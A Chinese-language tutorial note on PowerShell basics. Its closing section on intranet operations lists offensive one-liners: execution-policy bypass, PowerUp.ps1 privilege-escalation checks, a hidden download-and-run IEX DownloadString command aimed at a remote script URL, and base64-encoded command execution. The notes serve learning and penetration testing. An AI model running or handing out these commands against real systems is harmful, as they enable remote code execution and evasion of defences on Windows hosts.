1.什么是powershell
Powershell 是使用 .NET 框架构建的 Windows 脚本语言和 shell 环境。
PowerShell 命令称为 cmdlet(读作 command-let)。 除了 cmdlet 外,使用 PowerShell 还可以在系统上运行任何可用命令。
这也允许 Powershell 直接从其 shell 执行 .NET 函数。大多数称为cmdlet的Powershell 命令都是用 .NET 编写的。与其他脚本语言和 shell 环境不同,这些cmdlet的输出 是对象。这也意味着运行 cmdlet 允许您对输出对象执行操作(这样可以方便地将输出从一个cmdlet传递到另一个)。cmdlet的正常格式使用动词-名词表示;例如,列出命令的cmdlet 被称为Get-Command.
常见的动词为
- Get
- Start
- Stop
- Read
- Write
- New
- Out
2.powershell的基础命令
2.1 Get-Help
Get-Help 显示有关cmdlet 的信息。要获取有关特定命令的帮助,请运行以下命令:
Get-Help Command-Name
您还可以通过传入-examples
标志来了解如何准确使用该命令。这将返回如下输出:
2.2 Get-Command
直接输入get-command命令返回的东西太多
所以还是建议利用一些参数来过滤,同时该cmdlet是支持通配符*的
比如
你已了解如何根据 -Name
进行筛选,并且知道还可以根据其他参数进行筛选。 同样,你也可以根据谓词和名词进行筛选。 这种筛选针对的是命令名称的一部分。
还可以根据名词和动词进行筛选
- 根据谓词进行筛选。 命令名称的谓词部分位于最左侧。 在命令
Get-Process
中,谓词部分为Get
。 若要根据谓词部分进行筛选,请指定-Verb
作为参数,如下所示:Get-Command -Verb 'Get'
上述命令将列出谓词部分为
Get
的所有命令。 -
根据名词进行筛选。 命令的最右边是名词部分。 谓词应是调用
Get-Verb
所返回的谓词之一,而名词可以是任何内容。 在命令Get-Process
中,名词部分是Process
。 若要根据名词进行筛选,请指定-Noun
作为参数和字符串参数,如下所示:Get-Command -Noun U*
如果仅使用谓词或仅使用名词作为筛选依据,生成的结果范围仍然可能很大。 若要缩小搜索范围,最好将这两个参数组合起来,如下面的示例所示:
Get-Command -Verb Get -Noun U*
2.3 Select-Object
Select-Object
. 这是一个非常通用的命令,可帮助你从一个或多个对象中选取特定属性。 另外,还可以使用此命令的参数来限制收到的响应。 下面的 Select-Object
示例用于请求获得有限数量的记录。
Get-Command | Select-Object -First 3
上面示例的结果是从顶部往下数的前三个命令。 结果如下所示:
此命令值得进一步探究,因为它还有许多其他用途。请参阅 Select-Object 文档
2.4 Where-Object
Where-Object
. where object 可帮助你根据属性值从集合中选择对象。 此命令会采用一个表达式,你可以在其中说明要将哪些列与哪些值进行匹配。 若要查找其中的 ProcessName
以 p
开头的所有 process 对象,可以使用 Where-Object
,如下所示:
PowerShell复制
Get-Process | Where-Object {$_.ProcessName -Like "p*"}
在上面的示例中,Get-Process
cmdlet 会生成一个 process 对象集合。 要对响应进行筛选,可以使用管道“发送”命令 Where-Object
。 使用管道“发送”表示通过管道 |
字符连接两个或更多个命令。 其中的思路是,一个命令的输出作为下一个命令的输入,从左向右进行读取。 Where-Object
使用表达式进行筛选。 此表达式本身使用 -Like
运算符和属于通配符表达式的字符串参数。
2.5 Get-Member
2.5.1一般搜索
Get-Member
cmdlet 将显示结果的属性和方法。 此外,它还会显示对象的类型。 将你要检查的输出发送到 Get-Member
。
Get-Process | Get-Member
结果显示返回的类型(以 TypeName
形式)以及对象的所有属性和方法。 下面是此类结果的一段摘录:
对象通常具有许多属性和方法,你可以对结果进行筛选,以便更轻松地找到要查找的内容。 例如,通过使用 -MemberType
参数,可以指定要查看所有方法,如下面的示例所示:
PowerShell复制
Get-Process | Get-Member -MemberType Method
在返回的响应中,PowerShell 通常只显示少量属性。 上面的响应中显示了 Name
、MemberType
和 Definition
。 若要更改显示结果,可以使用 cmdlet Select-Object
。 使用 Select-Object
,可以指定要查看哪些列。 你可以为它提供列名称、以逗号分隔的列表或通配符 *
。 下面的示例使用 Select-Object
检索 Name
和 Definition
:
Get-Process | Get-Member | Select-Object Name, Definition
2.5.2按类型搜索
搜索所需命令的另一种方法是,搜索在同一类型上运行的所有命令。 使用 Get-Member
后,收到的返回类型是响应的第一行,如下所示:
TypeName: System.Diagnostics.Process
现在可以使用此类型,并按如下所示搜索命令:
PowerShell复制
Get-Command -ParameterType Process
上面的调用将获得一个列表,其中是只在 Process
类型上运行的命令:
如你所见,知道命令类型后,可以大幅缩小你可能需要的命令的搜索范围。
后面再补的知识点:
powershell使用总结Shanfenglan7的博客-CSDN博客
简介 – PowerShell | Microsoft Docs
https://tryhackme.com/room/powershell
3.内网相关操作
查看Powershell版本
Get-Host
$PSVersionTable.PSVERSION
执行策略:
在限制了Powershell不能使用时可以使用此方式进行设置允许执行Powershell脚本
Set-ExecutionPolicy Unrestricted
策略共四种:
Restricted:脚本不能运行
RemoteSigned:本地可以运行
AllSigned:仅当脚本由受信任的发布者签名时才能运行
Unrestricted:允许所有脚本允许
附加:
原文中提到运行脚本,可以使用.\a.ps1
如果是使用Import-Module加载脚本可以使用:
. .\a.ps1
3.1管道
get-process p* | stop-process
3.2常用命令
新建目录:New-Item aaa -ItemType Directory(实际上在5.0版本可以直接通过md)
新建文件:New-Item aaa.txt
删除目录:Remove-Item aaa.txt可以直接使用rm
显示文件内容:Get-Content可以直接使用cat
设置文本内容:Set-Content aaa.txt -Value "aaa"
追加内容:Add-Content aaa.txt -Value "aaa"
3.3绕过本地权限执行
Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
上传之后执行:
powershell.exe -exec bypass -Command "& {Import-module C:\PowerUp.ps1;Invoke-AllChecks}"
远程加载(此处原书中存在空格被吞的情况):
powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("http://www.baidu.com/xxx.ps1");
使用Base64编码对Powershell命令进行编码:
使用ps_encoder.py脚本加密(https://github.com/h4sh5/ps_encoder):
./ps_encoder.py -s script.txt
powershell -encodedCommand YwBhAGwAYwAuAGUAeABlAAoA